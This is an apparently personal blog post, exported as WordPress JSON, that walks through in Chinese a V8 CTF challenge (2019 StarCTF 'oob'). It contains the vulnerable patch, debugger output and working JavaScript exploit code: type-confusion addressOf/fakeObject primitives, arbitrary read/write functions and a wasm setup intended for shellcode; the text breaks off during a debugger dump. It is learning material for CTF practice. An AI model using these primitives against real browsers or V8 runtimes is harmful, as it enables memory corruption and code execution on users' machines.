{"id":987,"date":"2025-03-10T23:56:48","date_gmt":"2025-03-10T15:56:48","guid":{"rendered":"http:\/\/8.141.27.105\/?p=987"},"modified":"2025-03-10T23:58:49","modified_gmt":"2025-03-10T15:58:49","slug":"v8-pwn%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/03\/10\/v8-pwn%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/","title":{"rendered":"V8 PWN\u505a\u9898\u8bb0\u5f55"},"content":{"rendered":"\n<p>V8\u7684\u57fa\u7840\u77e5\u8bc6\u53ef\u4ee5\u8ddf\u7740Colin\u5e08\u5085\u7684\u535a\u5ba2\u5b66\u4e60\uff0c\u5199\u7684\u975e\u5e38\u8be6\u7ec6\uff1a<a href=\"https:\/\/hornos3.github.io\/2024\/12\/01\/chrome-v8-pwn-%E5%AD%A6%E4%B9%A0-1\/\">chrome v8 pwn \u5b66\u4e60 (1) | CoLin&#8217;s BLOG<\/a><\/p>\n\n\n\n<p>ps\uff1a\u6211\u7684\u73af\u5883\u5728\u7528x64_debug\u65f6\u5019\u8d8a\u754c\u64cd\u4f5c\u4f1a\u62a5\u9519\uff0cx64_release\u65f6\u5019job\u7528\u4e0d\u4e86\uff0c\u4e5f\u662f\u633a\u7cdf\u5fc3\u3002<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" 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class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2019_StarCTF_oob\"><\/span>2019 StarCTF oob<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u53c2\u8003\u535a\u5ba2\uff1a<a href=\"https:\/\/www.freebuf.com\/vuls\/203721.html\">\u4ece\u4e00\u9053CTF\u9898\u96f6\u57fa\u7840\u5b66V8\u6f0f\u6d1e\u5229\u7528 &#8211; FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n\n\n\n<p>\u5206\u6790diff\u6587\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>diff --git a\/src\/bootstrapper.cc b\/src\/bootstrapper.cc\nindex b027d36..ef1002f 100644\n--- a\/src\/bootstrapper.cc\n+++ b\/src\/bootstrapper.cc\n@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle&lt;JSGlobalObject&gt; global_object,\n                           Builtins::kArrayPrototypeCopyWithin, 2, false);\n     SimpleInstallFunction(isolate_, proto, \"fill\",\n                           Builtins::kArrayPrototypeFill, 1, false);\n+    SimpleInstallFunction(isolate_, proto, \"oob\",\n+                          Builtins::kArrayOob,2,false);\n     SimpleInstallFunction(isolate_, proto, \"find\",\n                           Builtins::kArrayPrototypeFind, 1, false);\n     SimpleInstallFunction(isolate_, proto, \"findIndex\",\ndiff --git a\/src\/builtins\/builtins-array.cc b\/src\/builtins\/builtins-array.cc\nindex 8df340e..9b828ab 100644\n--- a\/src\/builtins\/builtins-array.cc\n+++ b\/src\/builtins\/builtins-array.cc\n@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,\n   return *final_length;\n }\n }  \/\/ namespace\n+BUILTIN(ArrayOob){\n+    uint32_t len = args.length();\n+    if(len &gt; 2) return ReadOnlyRoots(isolate).undefined_value();\n+    Handle&lt;JSReceiver&gt; receiver;\n+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n+            isolate, receiver, Object::ToObject(isolate, args.receiver()));\n+    Handle&lt;JSArray&gt; array = Handle&lt;JSArray&gt;::cast(receiver);\n+    FixedDoubleArray elements = FixedDoubleArray::cast(array-&gt;elements());\n+    uint32_t length = static_cast&lt;uint32_t&gt;(array-&gt;length()-&gt;Number());\n+    if(len == 1){\n+        \/\/read\n+        return *(isolate-&gt;factory()-&gt;NewNumber(elements.get_scalar(length)));\n+    }else{\n+        \/\/write\n+        Handle&lt;Object&gt; value;\n+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n+                isolate, value, Object::ToNumber(isolate, args.at&lt;Object&gt;(1)));\n+        elements.set(length,value-&gt;Number());\n+        return ReadOnlyRoots(isolate).undefined_value();\n+    }\n+}\n \n BUILTIN(ArrayPush) {\n   HandleScope scope(isolate);\ndiff --git a\/src\/builtins\/builtins-definitions.h b\/src\/builtins\/builtins-definitions.h\nindex 0447230..f113a81 100644\n--- a\/src\/builtins\/builtins-definitions.h\n+++ b\/src\/builtins\/builtins-definitions.h\n@@ -368,6 +368,7 @@ namespace internal {\n   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \\\n   \/* https:\/\/tc39.github.io\/proposal-flatMap\/#sec-Array.prototype.flatMap *\/   \\\n   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \\\n+  CPP(ArrayOob)                                                                \\\n                                                                                \\\n   \/* ArrayBuffer *\/                                                            \\\n   \/* ES #sec-arraybuffer-constructor *\/                                        \\\ndiff --git a\/src\/compiler\/typer.cc b\/src\/compiler\/typer.cc\nindex ed1e4a5..c199e3a 100644\n--- a\/src\/compiler\/typer.cc\n+++ b\/src\/compiler\/typer.cc\n@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {\n       return Type::Receiver();\n     case Builtins::kArrayUnshift:\n       return t-&gt;cache_-&gt;kPositiveSafeInteger;\n+    case Builtins::kArrayOob:\n+      return Type::Receiver();\n \n     \/\/ ArrayBuffer functions.\n     case Builtins::kArrayBufferIsView:<\/code><\/pre>\n\n\n\n<p>\u81ea\u5b9a\u4e49\u4e86oob\u51fd\u6570\uff0creturn *(isolate-&gt;factory()-&gt;NewNumber(elements.get_scalar(length)))\u5b58\u5728\u8d8a\u754c\u8bfb\uff1belements.set(length,value-&gt;Number())\u5b58\u5728\u8d8a\u754c\u5199\u3002<\/p>\n\n\n\n<p>\u4e3e\u4e2a\u4f8b\u5b50\uff0cvar a=[1,2,3]\uff0c\u4e0b\u6807\u5206\u522b\u662f0\u30011\u30012\uff0c\u4f46oob\u51fd\u6570\u7684\u8bfb\u5199\u64cd\u4f5c\u5374\u662f\u8bfb\u5199\u5230length(\u53733)\u4e0b\u6807\u4f4d\u7f6e\uff0c\u8d8a\u754c\u4e86\u4e00\u4e2a\u5355\u4f4d\u3002<\/p>\n\n\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\uff0coob\u4e00\u5f00\u59cb\u8d8a\u754c\u4f1a\u8bfb\u51fa\u5947\u602a\u7684\u4e1c\u897f\uff0c\u5f53\u8d8a\u754c\u8d4b\u503c\u540e\uff0c\u8bfb\u5230\u7684\u5c31\u662f\u8d4b\u8fc7\u7684\u90a3\u4e2a\u503c\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/FUOLV@_QOQOTNGU2IHA6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"783\" height=\"359\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/FUOLV@_QOQOTNGU2IHA6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-988\"  sizes=\"auto, (max-width: 783px) 100vw, 783px\" \/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u5230\u5e95\u8bfb\u5230\u7684\u662f\u4ec0\u4e48\u5462\uff1f\u4e0b\u9762\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<p>js\u6d4b\u8bd5\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var a = &#91;1,2,3.1];\n%DebugPrint(a);\n%SystemBreak();\nvar data = a.oob();\nconsole.log(\"&#91;*] oob return data:\" + data.toString());\n%SystemBreak();\na.oob(2);\n%SystemBreak();\n<\/code><\/pre>\n\n\n\n<p>\u901a\u8fc7\u5728gdb\u4e2dset args &#8211;allow-natives-syntax 1.js\u6765\u8c03\u8bd5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/PC491MSTI@R_SNN2QW9-1024x574.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"574\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/PC491MSTI@R_SNN2QW9-1024x574.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-989\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>DebugPrint: 0x255bc554de21: &#91;JSArray]\n - map: 0x24227a582ed9 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; &#91;FastProperties]\n - prototype: 0x032d3a4d1111 &lt;JSArray&#91;0]&gt;\n - elements: 0x255bc554ddf9 &lt;FixedDoubleArray&#91;3]&gt; &#91;PACKED_DOUBLE_ELEMENTS]\n - length: 3\n - properties: 0x2c2a498c0c71 &lt;FixedArray&#91;0]&gt; {\n    #length: 0x2c4c730401a9 &lt;AccessorInfo&gt; (const accessor descriptor)\n }\n - elements: 0x255bc554ddf9 &lt;FixedDoubleArray&#91;3]&gt; {\n           0: 1\n           1: 2\n           2: 3.1\n }\n0x24227a582ed9: &#91;Map]\n - type: JS_ARRAY_TYPE\n - instance size: 32\n - inobject properties: 0\n - elements kind: PACKED_DOUBLE_ELEMENTS\n - unused property fields: 0\n - enum length: invalid\n - back pointer: 0x24227a582e89 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;\n - prototype_validity cell: 0x2c4c73040609 &lt;Cell value= 1&gt;\n - instance descriptors #1: 0x032d3a4d1f49 &lt;DescriptorArray&#91;1]&gt;\n - layout descriptor: (nil)\n - transitions #1: 0x032d3a4d1eb9 &lt;TransitionArray&#91;4]&gt;Transition array #1:\n     0x2c2a498c4ba1 &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x24227a582f29 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;\n\n - prototype: 0x032d3a4d1111 &lt;JSArray&#91;0]&gt;\n - constructor: 0x032d3a4d0ec1 &lt;JSFunction Array (sfi = 0x2c4c7304aca1)&gt;\n - dependent code: 0x2c2a498c02c1 &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;\n - construction counter: 0\n<\/code><\/pre>\n\n\n\n<p>\u5206\u6790\u53ef\u5f97\u5230\u6570\u7ec4\u5b58\u50a8\u7ed3\u6784\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/@JIB72_P8UT6TAZ_GHPTG-1024x703.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"703\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/@JIB72_P8UT6TAZ_GHPTG-1024x703.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-990\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u901a\u8fc7oob\u51fd\u6570off by one\u8bfb\u5199\u64cd\u4f5c\uff0c\u53ef\u4ee5\u8bfb\u5199\u4e00\u4e2a\u6570\u7ec4\u7684map\u503c\u3002<\/p>\n\n\n\n<p>\u8fd9\u5c31\u5f15\u51fa\u4e86V8\u5f15\u64ce\u91cc\u9762\u5371\u5bb3\u975e\u5e38\u5927\u7684\u4e00\u4e2a\u5229\u7528\u65b9\u6cd5\uff1a\u7c7b\u578b\u6df7\u6dc6<\/p>\n\n\n\n<p>\u628a\u4e00\u4e2a\u6d6e\u70b9\u6570\u6570\u7ec4\u7684map\u6539\u6210\u5bf9\u8c61\u6570\u7ec4\u7684map\uff0c\u53ef\u4ee5\u4f2a\u9020\u4e00\u4e2a\u5bf9\u8c61\u6570\u7ec4\uff1b\u628a\u4e00\u4e2a\u5bf9\u8c61\u6570\u7ec4\u7684map\u6539\u6210\u6d6e\u70b9\u6570\u6570\u7ec4\u7684map\uff0c\u53ef\u4ee5\u6cc4\u9732\u6570\u7ec4\u5730\u5740\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/E5CQN771U107UXT78-1024x195.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"195\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/E5CQN771U107UXT78-1024x195.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-991\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7531\u6b64\u53ef\u4ee5\u6784\u9020\u51fa\u4e24\u4e2a\u51fd\u6570\u2014\u2014<strong>addressOf<\/strong>\u548c<strong>fakeObject<\/strong>\uff0c\u4e00\u4e2a\u4f2a\u9020\u5bf9\u8c61\u6570\u7ec4\uff0c\u4e00\u4e2a\u6cc4\u9732\u5730\u5740\uff0c\u5728\u6784\u9020\u524d\u8fd8\u5f97\u5148\u5199\u597d\u4e0d\u540c\u7c7b\u578b\u6570\u636e\u8f6c\u6362\u7684\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d71. \u65e0\u7b26\u53f764\u4f4d\u6574\u6570\u548c64\u4f4d\u6d6e\u70b9\u6570\u7684\u8f6c\u6362\u4ee3\u7801\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\n\nvar buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n\n\/\/ \u6d6e\u70b9\u6570\u8f6c\u6362\u4e3a64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\nfunction f2i(f)\n{\n    float64&#91;0] = f;\n    return bigUint64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a\u6d6e\u70b9\u6570\nfunction i2f(i)\n{\n    bigUint64&#91;0] = i;\n    return float64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a16\u8fdb\u5236\u5b57\u8282\u4e32\nfunction hex(i)\n{\n    return i.toString(16).padStart(16, \"0\");\n}\n\n\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d72. addressOf\u548cfakeObject\u7684\u5b9e\u73b0\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\nvar obj = {\"a\": 1};\nvar obj_array = &#91;obj];\nvar float_array = &#91;1.1];\n\nvar obj_array_map = obj_array.oob();\nvar float_array_map = float_array.oob();\n\n\/\/ \u6cc4\u9732\u67d0\u4e2aobject\u7684\u5730\u5740\nfunction addressOf(obj_to_leak)\n{\n    obj_array&#91;0] = obj_to_leak;\n    obj_array.oob(float_array_map);\n    let obj_addr = f2i(obj_array&#91;0]) - 1n;\n    obj_array.oob(obj_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return obj_addr;\n}\n\n\/\/ \u5c06\u67d0\u4e2aaddr\u5f3a\u5236\u8f6c\u6362\u4e3aobject\u5bf9\u8c61\nfunction fakeObject(addr_to_fake)\n{\n    float_array&#91;0] = i2f(addr_to_fake + 1n);\n    float_array.oob(obj_array_map);\n    let faked_obj = float_array&#91;0];\n    float_array.oob(float_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return faked_obj;\n}\n<\/code><\/pre>\n\n\n\n<p>ps\uff1a+1\u548c-1\u64cd\u4f5c\u662f\u56e0\u4e3av8\u4e3a\u4e86\u533a\u5206\u5bf9\u8c61\u6570\u7ec4\uff0c\u4f1a\u5728\u5730\u5740\u4e0a+1,\u518d\u8ba1\u7b97\u7684\u65f6\u5019\u9700\u8981\u8003\u8651\u8fdb\u53bb\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u6709\u4e86<strong>addressOf<\/strong>\u548c<strong>fakeObject<\/strong>\u4e24\u4e2a\u51fd\u6570\uff0c\u8be5\u5982\u4f55\u5229\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u8bfb\u5199\u5462\uff1f<\/p>\n\n\n\n<p>\u601d\u8def\u662f\uff0c\u9996\u5148\u901a\u8fc7\u4e00\u4e2a\u6d6e\u70b9\u6570\u6570\u7ec4\u6765\u4f2a\u9020\u4e00\u4e2afake_object\uff0c\u7136\u540e\u901a\u8fc7<strong>addressOf<\/strong>\u6cc4\u9732\u8be5\u6d6e\u70b9\u6570\u6570\u7ec4\u7684\u5730\u5740\uff0c\u8fdb\u800c\u8ba1\u7b97\u51fafake_object\u7684\u5730\u5740\uff0c\u7136\u540e\u901a\u8fc7fakeObject\u628a\u4f2a\u9020\u7684\u6570\u7ec4\u53d8\u6210\u4e00\u4e2a\u5408\u6cd5\u7684\u5bf9\u8c61\u6570\u7ec4\uff0c\u7531\u4e8e\u8fd9\u4e2a\u5bf9\u8c61\u6570\u7ec4\u7684elements\u6307\u9488\u662f\u53ef\u63a7\u7684\uff0c\u6240\u4ee5\u5c31\u5b9e\u73b0\u4e86\u4efb\u610f\u5730\u5740\u8bfb\u5199:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var fake_array = &#91;\n    float_array_map,\n    i2f(0n),\n    i2f(0x41414141n),\n    i2f(0x1000000000n),\n    1.1,\n    2.2,\n];\n\nvar fake_array_addr = addressOf(fake_array);\nvar fake_object_addr = fake_array_addr - 0x40n + 0x10n;\nvar fake_object = fakeObject(fake_object_addr);<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/P0O4LISIYNKS5BDM4-1024x695.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"695\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/P0O4LISIYNKS5BDM4-1024x695.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-992\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fdb\u800c\u6784\u9020\u51fa\u4efb\u610f\u5730\u5740\u5199\u548c\u4efb\u610f\u5730\u5740\u8bfb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var fake_array = &#91;\n    float_array_map,\n    i2f(0n),\n    i2f(0x41414141n),\n    i2f(0x1000000000n),\n    1.1,\n    2.2,\n];\n\nvar fake_array_addr = addressOf(fake_array);\nvar fake_object_addr = fake_array_addr - 0x40n + 0x10n;\nvar fake_object = fakeObject(fake_object_addr);\n\nfunction read64(addr)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    let leak_data = f2i(fake_object&#91;0]);\n    console.log(\"&#91;*] leak from: 0x\" +hex(addr) + \": 0x\" + hex(leak_data));\n    return leak_data;\n}\n\nfunction write64(addr, data)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    fake_object&#91;0] = i2f(data);\n    console.log(\"&#91;*] write to : 0x\" +hex(addr) + \": 0x\" + hex(data));    \n}<\/code><\/pre>\n\n\n\n<p>\u73b0\u5728\u5177\u5907\u4e86\u4efb\u610f\u5730\u5740\u8bfb\u5199\u7684\u80fd\u529b\uff0c\u63a5\u4e0b\u6765\u8003\u8651\u7684\u5c31\u662f\u5982\u4f55getshell\u4e86\u3002<\/p>\n\n\n\n<p>\u8003\u8651\u4e24\u79cd\u65b9\u5f0f\uff0c\u4e00\u79cd\u6253system\/one_gadget\uff0c\u4e00\u79cd\u6253shellcode\u3002<\/p>\n\n\n\n<p>\u524d\u8005\u9700\u8981\u6cc4\u9732\u5730\u5740\uff0c\u6cc4\u9732\u65b9\u6cd5\u591a\u6837\uff0c\u53ef\u4ee5\u901a\u8fc7\u904d\u5386\u5185\u5b58\u627e\u5230\u6307\u4ee4\u5730\u5740\uff08\u968f\u673a\u6cc4\u9732\uff09\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u8bfb\u4e00\u4e9b\u5df2\u77e5\u7684\u4f1a\u5b58\u653e\u6307\u4ee4\u5730\u5740\u7684\u5730\u5740\u6765\u6cc4\u9732\uff08\u7a33\u5b9a\u6cc4\u9732\uff09\u8be6\u60c5\u89c1<a href=\"https:\/\/www.freebuf.com\/vuls\/203721.html\">\u4ece\u4e00\u9053CTF\u9898\u96f6\u57fa\u7840\u5b66V8\u6f0f\u6d1e\u5229\u7528 &#8211; FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n\n\n\n<p>\u8fd9\u91cc\u7740\u91cd\u8c08\u8c08shellcode\uff0c\u8fd9\u91cc\u8981\u7528\u5230wasm\uff0cwasm\u53ef\u4ee5\u901a\u4fd7\u5730\u7406\u89e3\u6210V8\u4e2d\u53ef\u4ee5\u6267\u884c\u6c47\u7f16\u4ee3\u7801\u7684\u4e00\u9879\u6280\u672f\uff0c\u5f80wasm\u6240\u5c5e\u7684\u5730\u5740\u5199\u5165shellcode\uff0c\u7136\u540e\u8c03\u7528wasm\u63a5\u53e3\u5c31\u80fd\u6267\u884cshellcode.<\/p>\n\n\n\n<p>\u67e5\u770bwasm\u6240\u5c5e\u5730\u5740\uff1a<\/p>\n\n\n\n<p>\u9996\u5148\u67e5\u770b\u63a5\u53e3\u5730\u5740\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var wasmCode = new Uint8Array(&#91;0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);\n\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule, {});\nvar f = wasmInstance.exports.main;\n\nvar f_addr = addressOf(f);\nconsole.log(\"&#91;*] leak wasm func addr: 0x\" + hex(f_addr));<\/code><\/pre>\n\n\n\n<p>\u7ecf\u8fc7Function&#8211;&gt;shared_info&#8211;&gt;WasmExportedFunctionData&#8211;&gt;instance\u7b49\u4e00\u7cfb\u5217\u8c03\u7528\u5173\u7cfb\uff0c\u5728instance+0x88\u7684\u56fa\u5b9a\u504f\u79fb\u5904\uff0c\u5c31\u80fd\u8bfb\u53d6\u5230\u5b58\u50a8wasm\u4ee3\u7801\u7684\u5185\u5b58\u9875\u8d77\u59cb\u5730\u5740:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pwndbg&gt; job 0x000029c78a5e2069 &lt;-- Function\u63a5\u53e3\u5bf9\u8c61\n0x29c78a5e2069: &#91;Function] in OldSpace\n - map: 0x21ba60f84379 &lt;Map(HOLEY_ELEMENTS)&gt; &#91;FastProperties]\n - prototype: 0x29c78a5c2109 &lt;JSFunction (sfi = 0x375c767c3b29)&gt;\n - elements: 0x099635fc0c71 &lt;FixedArray&#91;0]&gt; &#91;HOLEY_ELEMENTS]\n - function prototype: &lt;no-prototype-slot&gt;\n - shared_info: 0x29c78a5e2031 &lt;SharedFunctionInfo 0&gt; &lt;--\u627e\u5230shared_info\n - name: 0x099635fc4ae1 &lt;String&#91;#1]: 0&gt;\n - formal_parameter_count: 0\n - kind: NormalFunction\n - context: 0x29c78a5c1869 &lt;NativeContext&#91;246]&gt;\n - code: 0x1fda7e782001 &lt;Code JS_TO_WASM_FUNCTION&gt;\n - WASM instance 0x29c78a5e1e71\n - WASM function index 0\n - properties: 0x099635fc0c71 &lt;FixedArray&#91;0]&gt; {\n    #length: 0x375c767c04b9 &lt;AccessorInfo&gt; (const accessor descriptor)\n    #name: 0x375c767c0449 &lt;AccessorInfo&gt; (const accessor descriptor)\n    #arguments: 0x375c767c0369 &lt;AccessorInfo&gt; (const accessor descriptor)\n    #caller: 0x375c767c03d9 &lt;AccessorInfo&gt; (const accessor descriptor)\n }\n\u200b\n - feedback vector: not available\npwndbg&gt; job 0x29c78a5e2031 &lt;--\u67e5\u770bshared_info\n0x29c78a5e2031: &#91;SharedFunctionInfo] in OldSpace\n 